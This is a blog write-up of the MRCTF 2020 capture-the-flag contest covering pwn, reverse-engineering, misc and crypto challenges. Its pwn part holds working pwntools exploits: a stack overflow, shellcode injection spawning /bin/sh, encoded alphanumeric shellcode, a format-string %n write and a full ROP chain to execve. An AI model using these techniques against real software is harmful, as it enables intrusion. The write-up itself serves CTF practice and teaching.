avatar

MRCTF 2020 writeup

pwn

easyoverflow

  • 1.checksec
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-70h]
............................
unsigned __int64 v12; // [rsp+68h] [rbp-8h]

v12 = __readfsqword(0x28u);
v5 = 'f_@_t3uj';
v6 = 'g@1f_3k@';
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0;
gets(&v4, argv);
if ( !(unsigned int)check((__int64)&v5) )
exit(0);
system("/bin/sh");
return 0;
}

check

signed __int64 __fastcall check(__int64 a1)
{
int i; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

v3 = strlen(fake_flag);
for ( i = 0; ; ++i )
{
if ( i == v3 )
return 1LL;
if ( *(_BYTE *)(i + a1) != fake_flag[i] )
break;
}
return 0LL;
}

栈空间

0000000000000070 var_70          db ?
-000000000000006F db ? ; undefined
-000000000000006E db ? ; undefined
.................... ...................
-0000000000000040 v5 dq ?
-0000000000000038 v6 dq ?
-0000000000000030 v7 dq ?
-0000000000000028 v8 dq ?
-0000000000000020 v9 dq ?
-0000000000000018 v10 dq ?
-0000000000000010 v11 dw ?
-000000000000000E db ? ; undefined
.................... ...........
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

bss

data:0000000000201010 fake_flag       dq offset aN0tR311yF1G  ; DATA XREF: check+C↑r
.data:0000000000201010 ; check+44↑r
.data:0000000000201010 _data ends ; "n0t_r3@11y_f1@g"

栈上覆盖 v5~v11 的值为n0t_r3@11y_f1@g绕过检测

  • 3.EXP
from pwn import *
context.log_level = "debug"
#p = process("./easy_overflow")
p = remote("38.39.244.2","28050")
paylaod = 'a'*(0x70-0x40)+'n0t_r3@11y_f1@g'
p.sendline(paylaod)
p.interactive()

shellcode

  • 1.checksec
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

很明显,段具有执行权限,则很大概率会是写入shellcode

  • IDA

main

; __unwind {
push rbp
mov rbp, rsp
sub rsp, 410h
mov rax, cs:stdin@@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stdout@@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
mov rax, cs:stderr@@GLIBC_2_2_5
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setbuf
lea rdi, s ; "Show me your magic!"
call _puts
lea rax, [rbp+buf]
mov edx, 400h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
mov eax, 0
call _read
mov [rbp+var_4], eax
cmp [rbp+var_4], 0
jg short loc_11D6
mov eax, 0
jmp short locret_11E4
-----------------------------------------------------
loc_11D6: ; CODE XREF: main+78↑j
lea rax, [rbp+buf]
call rax
mov eax, 0
locret_11E4: ; CODE XREF: main+7F↑j
leave
retn
;} // starts at 1155

无栈溢出则进入loc_11D6,bufrax,在call rax ,执行shellcode

  • 3.EXP
from pwn import *
context.log_level = "debug"
context(arch='amd64',os='linux')
#p = process("./shellcode")
p = remote("38.39.244.2","28019")

shellcode = asm(shellcraft.sh())
p.sendlineafter("Show me your magic!\n",shellcode)
p.interactive()

easy_equation

  • 1.checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h]

memset(&s, 0, 0x400uLL);
fgets(&s, 1023, stdin);
printf(&s, 1023LL);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
}

字符串格式化漏洞,可以修改judge为函数的解来满足条件

  • 3.EXP

    • P1.计算jugde
    #include <iostream>
    using namespace std;
    long equation(int n);
    int main()
    {
    for(int i = 1; i<=1000; i++)
    {
    if (equation(i)==198)
    {
    cout<<i<<endl;
    break;
    }
    }
    }

    long equation(int judge)
    {
    return 11*judge*judge+17*judge*judge*judge*judge-13*judge*judge*judge-7*judge;
    }
    • P2.jugde=2,EXP
    from pwn import *
    context.log_level = "debug"
    #p = process("./easy_equation")
    p = remote("38.39.244.2",28046)
    judge = 0x60105C
    payload = "aa%9$naaa"+p64(0x60105C)
    #arg_8 arg_9 arg_10
    p.sendline(payload)
    p.interactive()

相关链接:CTF Wiki格式化字符串漏洞利用

shellcode Revenge

  • checksec
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

看上去和之前的没什么两样

  • IDA

依旧无法f5,但是汇编很容易理顺他的逻辑

发现就是输入的shellcode和内容逐一比较,且shellcode的字符串的限定范围大致如下

(s[i] <= '@' || s[i] > 'Z')
&& (s[i] <= '`' || s[i] > 'z')
&& (s[i] <= '/' || s[i] > '9')
&& s[i] != '\n'
&& s[i]

这个时候用ae64来生成shellcode,类似的题还有UNCTF-2019-EasyShellcode

  • EXP
from pwn import *
from ae64 import AE64
context(arch='amd64',os='linux')
context.log_level = 'debug'
#p = process("shellcode-revenge")
p =remote("38.39.244.2","28000")
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()))
p.sendafter("Show me your magic!\n",sc)
p.interactive()

nothing_but_everything

  • checksec
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

可能是栈溢出

  • IDA

没有main函数之类的,但是汇编上有很多可以利用的gadget,推测使用ROPgadget自动生成ropchain

手动测的溢出为140,得到EXP

  • EXP
from struct import pack
from pwn import *
context.log_level = "debug"
sh = remote("38.39.244.2","27972")
p = ''
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004494ac) # pop rax ; ret
p += '/bin/'
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006b90e0) # @ .data
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000449505) # pop rdx ; ret
p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040123c) # syscall

sh.sendline(p)
sh.interactive()

re

Transform

  • 1.查壳好习惯

无壳

  • 2.IDA

main

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rdx
char v6[104]; // [rsp+20h] [rbp-70h]
int j; // [rsp+88h] [rbp-8h]
int i; // [rsp+8Ch] [rbp-4h]

sub_402230(argc, argv, envp);
sub_40E640(argc, (__int64)argv, v3, (__int64)"Give me your code:\n");
sub_40E5F0(argc, (__int64)argv, (__int64)v6, (__int64)"%s");// v6=input
if ( strlen(*(const char **)&argc) != 33 )
{
sub_40E640(argc, (__int64)argv, v4, (__int64)"Wrong!\n");
system(*(const char **)&argc);
exit(argc);
}
for ( i = 0; i <= 32; ++i ) //加密算法
{
byte_414040[i] = v6[dword_40F040[i]]; //按顺序取位置给byte_414040
v4 = i;
byte_414040[i] ^= LOBYTE(dword_40F040[i]); //异或
}
for ( j = 0; j <= 32; ++j ) //校验flag
{
v4 = j;
if ( aGyURsywBFbLwya[j] != byte_414040[j] ) //比较
{
sub_40E640(argc, (__int64)argv, j, (__int64)"Wrong!\n");
system(*(const char **)&argc);
exit(argc);
}
}
sub_40E640(argc, (__int64)argv, v4, (__int64)"Right!Good Job!\n");
sub_40E640(argc, (__int64)argv, (__int64)v6, (__int64)"Here is your flag: %s\n");
system(*(const char **)&argc);
return 0;
}

dword_40F040

dd 9, 10, 15, 23, 7, 24, 12, 6, 1, 16, 3, 17, 32, 29, 11
dd 30, 27, 22, 4, 13, 19, 20, 21, 2, 25, 5, 31, 8, 18
dd 26, 28, 14, 0 (ida会误判为8dup(0))

aGyURsywBFbLwya

aGyURsywBFbLwya db 'gy{',7Fh,'u+<RSyW^]B{-*fB~LWyAk~e<\EobM',0
  • 解密脚本
#include <iostream>
using namespace std;
int main()
{
int num[33]={9, 10, 15, 23, 7, 24, 12, 6, 1, 16, 3, 17, 32, 29, 11,30, 27, 22, 4, 13, 19, 20, 21, 2, 25, 5, 31, 8, 18,26, 28, 14, 0};
int chr[33]={0x67,0x79,0x7b,0x7f,0x75,0x2b,0x3c,0x52,0x53,0x79,0x57,0x5e,0x5d,0x42,0x7b,0x2d,0x2a,0x66,0x42,0x7e,0x4c,0x57,0x79,0x41,0x6b,0x7e,0x65,0x3c,0x5c,0x45,0x6f,0x62,0x4d};
int tmp[33];
char flag[33];
for (int i = 0; i < 33; ++i)
tmp[i]=num[i]^chr[i];

for (int i = 0; i < 33; ++i)
flag[num[i]]=tmp[i];

for (int i = 0; i < 33; ++i)
cout<<flag[i];
cout<<endl;
return 0;
}

misc

CyberPunk

直接更改系统时间即可《赛博朋克2077》 —— 2019年E3官方预告片

ezmisc

下载发现是一张图片

  • 查看相关信息
    • 发现高宽不同
    • HxD修改高宽一至出现flag

千层套路

  • 第一层:

    • 拿到压缩包,注意看注释: Hint:密码均为四位数字 和压缩包名字有关联哦

      Python真好用233。试一试就会发现密码为压缩包的名字

    • 开始写脚本解压

    #from pwn import * 为了更好的显示
    import zipfile
    import os

    name = "0573.zip"
    name_ptr=[]

    def unzip(filename):
    zf = zipfile.ZipFile(filename)
    zl = zf.namelist()
    password = filename[:4]
    for f in zl:
    zf.extract(f,pwd=password)
    #log.success(str(f)+" +Done+") 显示当前解压成功文件
    unzip(str(f))
    zf.close()

    unzip(name)
  • 第二层:

    • 得到文件:qr.txt
    • 进分析发现只有(255,255,255)和(0,0,0),二者分别是rgb中的黑色和白色,刚好4000行,说明这是一个 200 x 200的二维码
    • 开始解码
    from PIL import Image

    x = 200
    y = 200

    im = Image.new("RGB", (x, y))
    file = open('qr2.txt')

    for i in range(0, x):
    for j in range(0, y):
    line = file.readline()
    rgb = line.split(", ")
    im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))

    im.save('flag.jpg')

    为了更好的写脚本,我直接将qr.txt的()删去了

不眠之夜

直接拼图,技巧就是拼到一定程度会搜到原图然后继续拼图就行了

拼出的图

你能看懂音符吗

  • **1.**压缩包无法被解压
    • 用sublime打开,发现文件头损坏,修复即可,将第一块改为5261
  • **2.**解压后发现一个word文档
    • 打开文档,发现没有什么东西,但是有几个空格
    • 其实word文档就是个压缩包,我们改后缀为zip解压
    • 解压后在/word/document.xml发现有一串音符,和题意相近,说明方向正确,将♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=文本加密为音乐符号中解密出flag
    • flag: MRCTF{thEse_n0tes_ArE_am@zing~}

pyFlag

  • **1.**打开压缩包,发现三张图

    • 用binwalk跑一下,发现2、3张图有蹊跷,
    • 但是提取后文件损坏
  • 2.使用二进制分析

    • HxD分别打开三张图片,在.jpg文件尾部发现线索

    Setsuna.jpg

    0x24740 [Secret File Part1:]PK。。。。。。。。

    说明这里是压缩包的第一部分,且符合zip文件头

    Furan.jpg

    0x26BC0 [Secret File Part2:]。。。。。。。。。

    Miku.jpg

    0x40830 [Secret File Part 3:]。。。。。。。。。。。
  • 3.得到zip

    • 解压需要密码,同时没有给出压缩包中的文件,以及文件信息过大,所以不适合使用明文攻击CRC32爆破
    • 使用ARCHPR进行爆破,设置长度 1-6位,先试试
    • 得到密码:1234
  • 4.得到两个文件,一个是flag,一个是提示

    • 在提示中,0x30=48并不意味着要使用base48解码,在逐步解码的过程中会发现更本没有使用base48
    • 可以在查看解码后的字母和数字的种类推测编码方式
    #code in python3
    import base64

    a = "G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)"
    b = base64.b85decode(a)
    print("Now in base85>")
    print(b)
    print()

    c = base64.b16decode(b)
    print("Now in base16>")
    print(c)
    print()

    d = base64.b32decode(c)
    print("Now in base32>")
    print(d)
    print()

    e = base64.b16decode(d)
    print("Now in base16>")
    print(e)
    print()

    f = base64.b64decode(e)
    print("Now in base64>")
    print(f)
    print()
  • flag: MRCTF{Y0u_Are_4_p3rFect_dec0der}

crypto

天干地支+甲子

得到得字符串用MRCTF{}包裹
一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下
甲戌
甲寅
甲寅
癸卯
己酉
甲寅
辛丑

按照网上的密码表解码+甲子(60):71 111 111 100 106 111 98

转为ascii码

>>> s = [71, 111, 111, 100, 106, 111 ,98]
>>> for i in s:
... print(chr(int(str(i))),end="")
...
Goodjob

keyboard

因为系主任是主攻密码学的,所以讲过,使用九键输入法

eg: 666 ,6号键第3个字母

得到flag: MRCTF{mobilephone}

古典密码知多少

这个靠积累吧

蓝色:猪圈密码

黑色:银河标准字母

橙色:圣武士密码

得到的是:flagiscryptofun

得到flag:MRCTF{CRYPTOFUN} (这里试了好多遍才试出来要大写)

Author: Joe1sn
Link: http://blog.joe1sn.top/2020/MRCTF%202020%20writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信